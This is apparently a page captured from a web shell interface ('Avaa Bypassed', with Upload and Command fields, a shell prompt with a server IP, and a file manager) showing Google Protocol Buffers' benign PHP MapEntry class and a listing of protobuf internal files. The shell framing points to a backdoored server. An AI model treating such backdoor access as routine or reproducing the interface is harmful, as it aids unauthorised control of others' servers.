404

[ Avaa Bypassed ]




Upload:

Command:

botdev@18.222.109.133: ~ $
<?php

// Protocol Buffers - Google's data interchange format
// Copyright 2008 Google Inc.  All rights reserved.
// https://developers.google.com/protocol-buffers/
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are
// met:
//
//     * Redistributions of source code must retain the above copyright
// notice, this list of conditions and the following disclaimer.
//     * Redistributions in binary form must reproduce the above
// copyright notice, this list of conditions and the following disclaimer
// in the documentation and/or other materials provided with the
// distribution.
//     * Neither the name of Google Inc. nor the names of its
// contributors may be used to endorse or promote products derived from
// this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

namespace Google\Protobuf\Internal;

use Google\Protobuf\Internal\GPBType;
use Google\Protobuf\Internal\Message;

class MapEntry extends Message
{
    public $key;
    public $value;

    public function __construct($desc) {
        parent::__construct($desc);
        // For MapEntry, getValue should always return a valid value. Thus, we
        // need to create a default instance value if the value type is
        // message, in case no value is provided in data.
        $value_field = $desc->getFieldByNumber(2);
        if ($value_field->getType() == GPBType::MESSAGE) {
            $klass = $value_field->getMessageType()->getClass();
            $value = new $klass;
            $this->setValue($value);
        }
    }

    public function setKey($key) {
      $this->key = $key;
    }

    public function getKey() {
      return $this->key;
    }

    public function setValue($value) {
      $this->value = $value;
    }

    public function getValue() {
      return $this->value;
    }
}

Filemanager

Name Type Size Permission Actions
DescriptorProto Folder 0755
EnumDescriptorProto Folder 0755
FieldDescriptorProto Folder 0755
FieldOptions Folder 0755
FileOptions Folder 0755
GeneratedCodeInfo Folder 0755
MethodOptions Folder 0755
SourceCodeInfo Folder 0755
UninterpretedOption Folder 0755
AnyBase.php File 3.13 KB 0755
CodedInputStream.php File 11.78 KB 0755
CodedOutputStream.php File 5.24 KB 0755
Descriptor.php File 5.95 KB 0755
DescriptorPool.php File 6.44 KB 0755
DescriptorProto.php File 11.29 KB 0755
DescriptorProto_ExtensionRange.php File 619 B 0755
DescriptorProto_ReservedRange.php File 614 B 0755
EnumBuilderContext.php File 2.35 KB 0755
EnumDescriptor.php File 2.53 KB 0755
EnumDescriptorProto.php File 6.78 KB 0755
EnumDescriptorProto_EnumReservedRange.php File 654 B 0755
EnumOptions.php File 5.35 KB 0755
EnumValueDescriptorProto.php File 3.42 KB 0755
EnumValueOptions.php File 4.17 KB 0755
ExtensionRangeOptions.php File 2.23 KB 0755
FieldDescriptor.php File 8.08 KB 0755
FieldDescriptorProto.php File 21.08 KB 0755
FieldDescriptorProto_Label.php File 599 B 0755
FieldDescriptorProto_Type.php File 594 B 0755
FieldOptions.php File 21.48 KB 0755
FieldOptions_CType.php File 559 B 0755
FieldOptions_JSType.php File 564 B 0755
FileDescriptor.php File 2.84 KB 0755
FileDescriptorProto.php File 15.01 KB 0755
FileDescriptorSet.php File 1.87 KB 0755
FileOptions.php File 39.09 KB 0755
FileOptions_OptimizeMode.php File 589 B 0755
GPBDecodeException.php File 1.95 KB 0755
GPBJsonWire.php File 10.58 KB 0755
GPBLabel.php File 1.75 KB 0755
GPBType.php File 2.12 KB 0755
GPBUtil.php File 21.1 KB 0755
GPBWire.php File 17.71 KB 0755
GPBWireType.php File 1.87 KB 0755
GeneratedCodeInfo.php File 2.6 KB 0755
GeneratedCodeInfo_Annotation.php File 609 B 0755
GetPublicDescriptorTrait.php File 1.82 KB 0755
HasPublicDescriptorTrait.php File 1.81 KB 0755
MapEntry.php File 2.61 KB 0755
MapField.php File 8.38 KB 0755
MapFieldIter.php File 3.91 KB 0755
Message.php File 73.85 KB 0755
MessageBuilderContext.php File 4.03 KB 0755
MessageOptions.php File 15.12 KB 0755
MethodDescriptorProto.php File 7.42 KB 0755
MethodOptions.php File 5.33 KB 0755
MethodOptions_IdempotencyLevel.php File 619 B 0755
OneofDescriptor.php File 2.55 KB 0755
OneofDescriptorProto.php File 2.59 KB 0755
OneofField.php File 2.34 KB 0755
OneofOptions.php File 2.21 KB 0755
RawInputStream.php File 1.87 KB 0755
RepeatedField.php File 7.79 KB 0755
RepeatedFieldIter.php File 3.27 KB 0755
ServiceDescriptorProto.php File 3.62 KB 0755
ServiceOptions.php File 4.14 KB 0755
SourceCodeInfo.php File 11.76 KB 0755
SourceCodeInfo_Location.php File 584 B 0755
TimestampBase.php File 763 B 0755
UninterpretedOption.php File 8.37 KB 0755
UninterpretedOption_NamePart.php File 609 B 0755